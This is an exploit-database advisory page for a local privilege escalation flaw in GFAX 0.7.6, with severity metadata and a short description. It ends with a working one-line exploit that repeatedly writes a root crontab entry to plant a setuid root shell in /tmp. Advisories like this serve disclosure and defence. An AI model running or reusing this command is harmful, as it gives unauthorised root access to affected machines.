header-logo
Suggest Exploit
vendor:
GFAX
by:
Not specified
7.5
CVSS
HIGH
Local Privilege Escalation
264
CWE
Product Name: GFAX
Affected Version From: GFAX 0.7.6
Affected Version To: Not specified
Patch Exists: NO
Related CWE: Not specified
CPE: a:gfax_project:gfax:0.7.6
Metasploit:
Other Scripts:
Platforms Tested: Not specified
Not specified

GFAX Local Privilege Escalation Vulnerability

The vulnerability allows local attackers to execute arbitrary commands with superuser privileges. By exploiting this vulnerability, attackers can completely compromise affected computers.

Mitigation:

No known mitigation or remediation for this vulnerability
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/24780/info

GFAX is prone to a vulnerability that lets local attackers execute arbitrary commands with superuser privileges. Successful attacks will result in the complete compromise of affected computers.

GFAX 0.7.6 is vulnerable; other versions may also be affected. 

while true; do echo "*/1 * * * * root /bin/cp /bin/sh /tmp && chmod 4755 /tmp/sh" > /tmp/crontab; done